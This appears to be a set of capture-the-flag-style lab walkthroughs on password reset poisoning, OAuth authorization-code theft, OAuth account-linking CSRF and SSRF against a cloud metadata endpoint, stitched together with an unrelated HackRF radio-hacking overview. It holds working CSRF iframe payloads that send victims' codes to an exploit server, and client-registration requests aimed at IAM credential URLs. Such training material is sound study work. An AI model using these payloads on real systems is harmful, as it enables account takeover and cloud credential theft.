This lab is vulnerable to password reset poisoning. The user carlos will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account.

You can log in to your own account using the following credentials: wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.

Exploitation

#1 Analysing Password Reset

On login page we can see a "Forgot your password?" functionality. and reset the password.

Enter the Username.

We will get a password reset link in our email.

Click the link and reset the password.

In Burp HTTP history we can find the POST /forgot-password request.

This request is used to trigger the password reset email. This contains the username whose password is being reset as a body parameter.

#2 Testing Host Header Injection

Now send that request to repeater.

Change the Host header to any value and send the password reset request

Open the new password reset email.

We can see that the reset link uses the modified Host header instead of the original domain.

#3 Stealing Carlos's Reset Token

Now change the Host header to your exploit server's domain.

Change the username to carlos and send the request.

Go to access log and copy Carlos reset token.

temp-forgot-password-token=9uomlgp4hb5otpa18jih8noryoxjcmpx

Copy the password reset link from your first email and replace the reset token in the URL with Carlos's reset token.

https://0acf008f043d08d680582bef0039004e.web-security-academy.net/forgot-password?temp-forgot-password-token=9uomlgp4hb5otpa18jih8noryoxjcmpx

#4 Resetting Password and Verifying Access

Open the modified URL in the Browser and reset Carlos's password.

Now login as Carlos.

Successfully logged in as Carlos!

# And That’s a Wrap

Password reset functionality should be tested carefully, as improper handling of the Host header can allow attackers to steal reset tokens and take over user accounts.

This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users' accounts.

To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete the user carlos.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

Credentials:
Username: wiener
Password: peter

Exploitation

#1 Logging In

By clicking My account it will redirect to social media login.

When redirection happens, it is sending a GET request to /auth.

client_id: d29pyj8d1qb33zo061roj redirect_uri: https://0a7000d10463074782fc799300210026.web-security-academy.net/oauth-callback response_type: code scope: openid%20profile%20email

Here we can see that the scope is missing. scope specifies the permissions being requested (e.g., openid profile email).

Now login with credentials.

OAuth callback request containing the authorization code. lets modify the redirect_uri to our exploit server and capture the victim's code parameter.

Here we can see it is redirecting to evil.net and the code is reusable.

#2 Crafting the Payload

Crafting the CSRF payload to get the code from the victim.

<html>
    <head>
        <title>PAYLOAD</title>
    </head>
    <body>
        <iframe src="https://oauth-0a5900bd036f8961807c010902b60022.oauth-server.net/auth?client_id=v7j8CfcXOUHq9knuM7spVQtEL7gRqBej8-Iag9rV2mh&redirect_uri=https://exploit-0acb000d033689718055022f01cb0047.exploit-server.net/exploit/log&response_type=code&scope=openid%20profile%20email"></iframe>
    </body>
</html>

Store the exploit and deliver the exploit to the victim, then go back to the access log and copy the victim's code from the resulting request.

#3 Admin Access

After logging out, open the following URL with the stolen OAuth code

We got Admin panel access.

Open the admin panel and delete carlos to solve the lab.

Deleted carlos!

# And That’s a Wrap

OAuth authorization codes must be protected, as exposing them can result in account takeover.

This lab gives you the option to attach a social media profile to your account so that you can log in via OAuth instead of using the normal username and password. Due to the insecure implementation of the OAuth flow by the client application, an attacker can manipulate this functionality to obtain access to other users' accounts.

To solve the lab, use a CSRF attack to attach your own social media profile to the admin user's account on the blog website, then access the admin panel and delete carlos.

The admin user will open anything you send from the exploit server and they always have an active session on the blog website.

Credentials:

• Blog website account: wiener:peter

• Social media profile: peter.wiener:hotdog

Exploitation

#1 Logging In

As usual, after starting the lab, the provided credentials were used to log in through social media while Burp Suite captured the traffic.

Standard Authorization Code flow typically includes:

Before entering the credential we captured the request which is usually using OAuth.

client_id: xdddru0pg8uxl4hrty90s redirect_uri: https://0aad003a0374551380a2a3b800a00051.web-security-academy.net/oauth-login response_type: code scope: openid%20profile%20email

Here we can see that the scope is missing.

Now login with the credentials:

Now logout and login with Blog website account:

We have successfully login with the Blog website account.
There is a option to Attach a social profile click it.

Click continue and capture the request

client_id: d3rj4i8qd6vgrplhnrebp redirect_uri: https://0a0100260389c4908037946a007c0037.web-security-academy.net/oauth-linking response_type: code scope: openid%20profile%20email

Here the redirect_uri is different. still there is no state parameter on this

It is a redirection to /auth which a OAuth login prosses

#2 Reusing an OAuth Authorization Code

After the social provider authenticates you, it redirects back to the application with a request like:

GET /oauth-linking?code=abc123...

The code is a temporary OAuth authorization code.

Intercept this request in Burp Suite and drop it.

• Dropping the request prevents the application from exchanging the code for an access token.

• The authorization code remains unused and is still valid for a short period.

First forward the request:

We will get this request with the code in it and drop it

code: RekBTYufEbFhJNShAhVyTF-p5ui8kFkr8fMFtBDb3UJ

Copy the URL containing the code

#3 Crafting the Payload

Logout and click the exploit server.

Now create a CSRF PoC and deliver it to the victim.

<html>
    <head>
        <title>PAYLOAD</title>
    </head>
    <body>
        <iframe src="https://0a14008c046c044e838964cb00de001f.web-security-academy.net/oauth-linking?code=pbjHxFLY7qTs-7DX_CleYFtBe4Kf2dq1c9p_n3dlqOJ"></iframe>
    </body>
</html>

First "store" the payload then "Deliver exploit to the victim"

#4 Confirming the Attack

Login again with "Login with social media".

Successfully logged in as administrator .

Got the access to admin panel.

The goal was to access the admin panel and delete carlos.

Deleted carlos!

# And That’s a Wrap

OAuth implementations should be tested just as carefully as any other authentication mechanism.

This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF. To solve the lab, craft an SSRF attack to accesshttp://169.254.169.254/latest/meta-data/iam/security-credentials/admin/ and steal the secret access key for the OAuth provider's cloud environment.

Target:
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/

Credentials:
Username : wiener
Password : peter

What is SSRF?

An attacker can abuse a Server Side functionality to issue malicious requests to URLs that are not intended to be queried. By this an attacker might open internal URLs like http://127.0.0.1 which are normally not accessible.

What is OpenID Connect?

OpenID Connect (OIDC) is a login and identity system built on OAuth 2.0 that allows users to securely sign in to applications using existing accounts such as Google, Microsoft, or other identity providers, without the application needing to store the user’s password.

What is OpenID dynamic client registration?

OpenID Dynamic Client Registration is a feature in OpenID Connect that allows an application to automatically register itself with the identity provider and receive a client_id and client_secret without manual setup in the provider dashboard.

Exploitation

#1 Logging In

After starting the lab, the provided credentials were used to log in, and Burp Suite captured the application traffic.

While accessing the /my-account it redirected to /social-login which communicate with https://oauth-<temporary-id>

#2 Finding the Endpoint

If Dynamic Client Registration is enabled, the application can send a POST request to a /registration endpoint to create its OAuth/OIDC client automatically.

The request usually contains information about the application in JSON format, such as:

• redirect URIs

• application name

• logo URI

• supported authentication methods

After successful registration, the provider returns credentials like a client_id and client_secret that are later used during the login flow.

Example registration request:

POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}

If Dynamic Client Registration does not require authentication, attackers may register malicious applications and potentially exploit vulnerabilities such as SSRF.

We already go that it is communicating with another host:

The request was sent to Burp Repeater to check the OpenID configuration endpoint at /.well-known/openid-configuration.

#3 Client Registration

The OAuth server exposed a registration endpoint at /reg.

"registration_endpoint":"https://oauth-0a9500e6037ae80d80265671028300b9.oauth-server.net/reg",

Next, we need to register our own client application with the OAuth service.

So we need to create a POST request to dynamically register a client/myself:

POST /reg HTTP/1.1
Host: oauth-0a2400cc04337b2fc038f7ce02e90099.oauth-server.net
Content-Type: application/json
Content-Length: 63

{
    "redirect_uris": [
        "https://test.com"
    ]
}

successfully registered a new client application, and the server returned a client_id: hb7m3_9dQzQhcdK3Zk96S

In HTTP history showed the OAuth page loading a logo from /client/<client_id>/logo.

So we tried with our client id.

But it showed 204 No Content.

#4 SSRF

The client registration was successful. The next step was to test whether the logo_uri parameter could be abused to trigger SSRF requests to internal endpoints such as http://169.254.169.254/latest/meta-data/iam/security-credentials/admin

• Go to Burp Collaborator and click copy to clipboard. 6u1nolu5q51mb8nwgdpydiaa016suii7.oastify.com

• Register a Client application with logo_uri

  POST /reg HTTP/1.1
  Host: oauth-0a2300af04ce8af38195335f02be005b.oauth-server.net
  Content-Type: application/json
  Content-Length: 137
  
  {
      "redirect_uris": [
          "https://test.com"
      ],
      "logo_uri": "https://6u1nolu5q51mb8nwgdpydiaa016suii7.oastify.com"
  }    
  

  

Now we get a different client_id: UcwVTh2cRaElSEyPxOrWx

• Using that client_id to fetch logo

Successfully received a HTTP request, OAuth server is using the logo_uri and fetch the logo.

• SSRF attack
  Craft an SSRF attack to access http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/

• Register a new client application with logo_uri

  POST /reg HTTP/1.1
  Host: oauth-0a21000f03f6d5a5807de72a02aa00f7.oauth-server.net
  Content-Type: application/json
  Content-Length: 156
  
  {
      "redirect_uris": [
          "https://test.com"
      ],
      "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
  }
  

  

  And we got a client_id: Mr_LXxqe7V1ciR16pSPYv

• Now use the client_id to fetch logo

  

  Successfully retrieved the secret access key for the OAuth provider's cloud environment.
  SecretAccessKey: ZjLmbIbHRNTBgWOmpyfTYf0CFebNL6Ly1G2LGJ7Y

  Submit it!

  

# And That’s a Wrap

Even trusted login features can open unexpected attack paths.

Picture this: It’s a tiny USB device that costs less than your monthly coffee budget but can mess with radio signals from 1MHz to 6GHz. That’s basically everything from AM radio to WiFi, Bluetooth, and your neighbor’s baby monitor.

The device features a maximum transmission power of 30mW and connects via USB to provide up to 20 million samples per second. While this transmission power is relatively low, it’s sufficient for close-range experimentation and testing. The device is compatible with GNU Radio software, allowing integration with various other tools and protocols.

A Brief History Lesson

Back in 2012, Michael Ossmann had a brilliant idea: “What if we made radio hacking accessible to broke college students and curious degenerates?” Thus, HackRF was born.

The timeline:

• 2012: Michael Ossmann introduces the concept of an affordable, open-source SDR

• 2013: Successful Kickstarter campaign launches mass production

• Present: HackRF becomes the go-to SDR device for researchers and enthusiasts worldwide

Which HackRF Is That?

HackRF Jawbreaker

HackRF Jawbreaker marked the beginning of the project in 2012–2013, serving as the initial prototype with a limited production run of approximately 500 units that proved the concept’s viability.

HackRF One

The HackRF One, introduced in 2013, became the main production version and continues to be manufactured today, featuring significant improvements over the Jawbreaker design and establishing itself as the standard model.

HackRF One + PortaPack H1

The HackRF One with PortaPack H1 transformed the basic HackRF One by adding a display module that enabled standalone operation without a computer, featuring an LCD touchscreen interface and built-in battery support for portable use.

HackRF One + PortaPack H2

The HackRF One with PortaPack H2 represents the latest evolution, building upon the H1’s foundation with an improved display, enhanced interface, and more capable firmware to deliver a more refined user experience.

The Fun Stuff aka “Educational Purposes Only”

RF Jamming

Want to make WiFi disappear faster than your motivation on Monday morning? RF jamming works by transmitting disruptive signals at the same frequency as your target, essentially drowning out legitimate communications.

Common jamming techniques include:

• Spot Jamming: Targeting a specific frequency

• Barrage Jamming: Affecting multiple frequencies simultaneously

• Sweep Jamming: Moving across a range of frequencies

Replay Attacks: Ctrl+C, Ctrl+V for RF

This is probably the most straightforward attack in the RF world:

This attacks involve capturing and retransmitting radio signals to gain unauthorized access or trigger unintended actions. This attack vector exploits systems that lack proper authentication mechanisms.

The process involves:

1. Intercepting the original signal

2. Recording the transmission

3. Replaying the signal at a chosen time

4. Achieving the same result as the original transmission

GSM Hacking: Pretending to be a Cell Tower

IMSI (International Mobile Subscriber Identity) catchers are devices that mimic cellular base stations to intercept mobile communications. These tools demonstrate vulnerabilities in cellular network protocols.

IMSI catchers work by broadcasting stronger signals than legitimate cell towers, causing nearby mobile devices to connect automatically. Once connected, they can intercept communications and track device locations.

GPS Spoofing: “You Are Here” But Not Really

Why settle for being where you actually are when you can convince your GPS you’re literally anywhere else? GPS spoofing transmits fake GPS signals that override the real ones, making your GPS receiver calculate a completely false location.

Unlike GPS jamming which just blocks signals, spoofing is more sophisticated and harder to detect. Your navigation system thinks everything is normal while being completely wrong about where you are.

Side-Channel Analysis

Here’s where things get really creepy. You can literally watch someone’s monitor through radio waves. HDMI cables leak RF signals that correspond to what’s being displayed on screen, and with the right setup, you can recreate what someone is looking at on their computer.

This technique demonstrates how electronic devices can leak information through electromagnetic signatures, emphasizing the importance of proper shielding and security measures.

Essential Software Tools

Recommended Applications:

• SDR++ : Comprehensive SDR software with spectrum analysis capabilities

• hackrf-spectrum-analyzer : Specialized tool for RF spectrum visualization

• qSpectrumAnalyzer : Cross-platform spectrum analysis application

Final Thoughts

The HackRF is a gateway drug to the world of RF security. One day you’re just curious about how WiFi works, the next day you’re explaining to airport security why you have a USB device that can “theoretically” interfere with aircraft navigation systems.

For less than $300, you get a device that can explore most of the radio spectrum. Compare that to traditional test equipment costing tens of thousands of dollars, and you understand why this little USB stick revolutionized the RF world.

Resources to Dive Deeper

• GitHub — Introduction to HackRF

• Great Scott Gadgets — Official HackRF site

• GNU Radio — The foundation of SDR

• RTL-SDR Blog — Stay updated with SDR news

• Kickstarter Campaign — The campaign that started it all

Not Gonna Lie, This Part Matters

Most countries have strict regulations about RF transmissions, and jamming GPS or cellular signals can land you with massive fines or prison time. I’m not legally responsible if you end up jamming satellites play with RF at your own risk.